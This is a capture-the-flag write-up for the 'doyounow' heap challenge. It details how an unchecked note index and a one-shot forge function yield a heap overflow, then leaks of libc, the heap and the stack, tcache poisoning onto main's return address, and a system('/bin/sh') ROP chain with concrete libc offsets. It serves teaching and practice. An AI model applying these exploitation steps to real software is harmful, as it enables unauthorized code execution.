Flash CTF - doyounow

doyounow Writeup

Overview

doyounow is a heap challenge served over TCP. We get the C source along with the binary, and it offers the usual note manager: add, delete, edit, show, and one extra option called forge. The note table has a fixed size, and not one of those five operations checks the index we hand it. Reaching a single slot past the end of that table is what turns a tidy note manager into a heap overflow. From there we leak libc, the heap and the stack, poison tcache onto the saved return address of main, and return into a shell.

Solution

Looking around

Let's connect and see what we are given.

$ ncat --ssl <host> 1337
1.add_notes
2.delete_notes
3.edit_notes
4.show_notes
5.forge_notes
>>
1
Index:
>>
0
Size:
>>
128
added!

Five options, and every numeric read prints its own >> first. Nothing here is unusual yet, so let's read the source that ships with the binary.

The table nobody guards‍

‍

#define MAX_NOTES 0x20

struct notes {
  char *chunk;
  uint size;
} typedef notes;

struct notes Notes[MAX_NOTES];

‍

Thirty-two slots, each one a pointer and a size. Now look at how a note is edited.

void edit_notes() {
  puts("Index");
  unsigned long index = read_num();
  read(STDIN_FILENO, Notes[index].chunk, Notes[index].size);
  puts("edited!");
}

‍
There is no check that the index is below MAX_NOTES. Add, delete and show are the same. Whatever number we type goes straight into the array. One limit does apply: read_num reads only four bytes, so the largest index we can type is 9999. That is still far past the end of a 32 entry table.

One slot past the end

That leaves forge, the option the other four do not explain.‍

void forge_notes(notes *Notes) {
  if (COUNTER) {
    puts("Begone begone begone");
    exit(0x0);
  }
  ...
  memcpy(Notes[index].chunk, data, strlen(data));
  uint *heap = malloc(0x20 * sizeof(int));
  for (uint i = 0x0; i < 0x20; i++) { heap[i] = Notes[index].size; }
  Notes[MAX_NOTES].size = 0x20 * sizeof(int);
  COUNTER++;
}

‍
Two things stand out. The write just before COUNTER is to Notes[MAX_NOTES].size, and MAX_NOTES is 0x20, one past the last valid slot. Whatever index we pass, forge always parks 0x80 in the size field of slot 0x20.

The other is COUNTER. We get exactly one call. Trying a second one ends the process, so there is no room to experiment.

>>
5
Enter index
>>
0
...
>>
5
Begone begone begone

One forge, and it has to count.

Turning a size field into an overflow

Slot 0x20 is reachable from add, edit and show, because none of them check the index. So we can put a small note there ourselves and then let forge rewrite its size behind our back.

Allocate 0x30 bytes at slot 0x20 and it behaves like any other note. Writing 0x30 bytes and showing it gives us back exactly what we wrote:

show(0x20) -> 48 bytes
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Now call forge. The slot still points at the same 0x30 chunk, but its size field now reads 0x80. Since edit writes size bytes, it writes 0x80 bytes into a 0x30 chunk. Show uses puts, so it reads past the end as well:

show(0x20) -> 69 bytes
AAAAAAAA...BBBBBBBB  9e ad 94 f1 05

Those five bytes past our input belong to the next chunk. A freed tcache chunk stores its forward pointer safe linked, which is the pointer XOR the chunk address shifted right by twelve. The first chunk in a bin points at NULL, so what comes back is the shift on its own. That is the heap base:

0x5f194ad9e000

One forge gave us both halves of this: the size field on slot 0x20, and the overflow that reads the key back.

Making puts run off the end

Forge does one more thing for us. Before touching slot 0x20 it copies random bytes into whichever note we named:‍

memcpy(Notes[index].chunk, data, strlen(data));

‍
data
is 0x90 bytes pulled from /dev/urandom, and strlen stops at the first zero byte, so the amount copied varies. What matters is that the bytes copied contain no zero at all. puts also stops at the first zero byte, so a note packed with non-zero bytes makes puts walk straight off the end of the chunk and keep printing the heap behind it.

Free a note first so there is bin metadata sitting nearby, then show the forged note:

>>
4
>>
0
Nanja koriya!!!
<145 bytes of random fill><6 bytes of libc pointer>

The six bytes at the end are a libc address, and puts stops right after them because the seventh byte of a libc pointer is zero.

This is also where the challenge turns unreliable. The fill length is random, so plenty of runs stop before reaching the pointer and the leak never shows up. Around seven attempts in eight died this way during testing. There is nothing to fix, we just reconnect and run it again until a fill lands long enough.

Walking tcache to the stack

With libc and the heap key we have what tcache poisoning needs. Freeing two notes of the same size links them together, and the overflow out of slot 0x20 lets us rewrite the forward pointer of the freed chunk next door. Safe linking is no obstacle now, because the value to write is simply the target XOR the key we already read.

Point the first poisoned allocation at libc's environ, which holds a stack address, then show it:

>>
4
>>
8
Nanja koriya!!!
<6 bytes of stack pointer>

On this build the saved return address of main sits 0x128 below that pointer.

Returning into a shell

The menu advertises five options. main has a sixth it never mentions:‍

if (index == 0x6)

      return 0;

‍

‍Option 6 returns from main, which means whatever sits at the saved return address runs. So we poison one more allocation onto that address and write a short chain into it.

The chain needs addresses out of libc, and the handout tells us exactly which libc. Its Dockerfile pins the base image by digest, so we can pull the same image and copy the library out:‍

$ docker create --name c ubuntu:22.04@sha256:0e0a0fc6d18feda9db1590da249ac93e8d5abfea8f4c3c0c849ce512b5ef8982 true
$ docker cp c:/usr/lib/x86_64-linux-gnu/libc.so.6 .

‍Now the offsets can be read straight off it:

$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep ': pop rdi ; ret'
0x000000000002a3e5 : pop rdi ; ret

$ strings -a -t x libc.so.6 | grep -w /bin/sh
 1d8678 /bin/sh

$ readelf -sW libc.so.6 | grep " system@@"
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

‍
One more is needed. system wants the stack aligned to sixteen bytes on entry, and the chain lands it a word out, so we add a gadget that swallows one word and returns. A bare ret does the job, and so does anything harmless that ends in one:

$ objdump -d libc.so.6 --start-address=0xbaaf9 --stop-address=0xbaafd
00000000000baaf9 <__strnlen_sse2+0x9>:
   baaf9:	48 31 c0             	xor    %rax,%rax
   baafc:	c3                   	ret

‍
That gives the whole chain: pop rdi, the address of /bin/sh, the alignment gadget, then system.

The last address we need is the saved return address itself. Our stack leak came off environ, and on this build main's saved return address sits 0x128 below it. That distance is worth measuring once under gdb locally rather than trusting, because it moves with the build.

Then we pick 6, and main returns into the chain:

>>
6
cat /app/flag.txt
SkillBit{simplememoryheresimplememorytheregivesoverflow}

Trust our customers

Interested in joining our team? Let’s connect!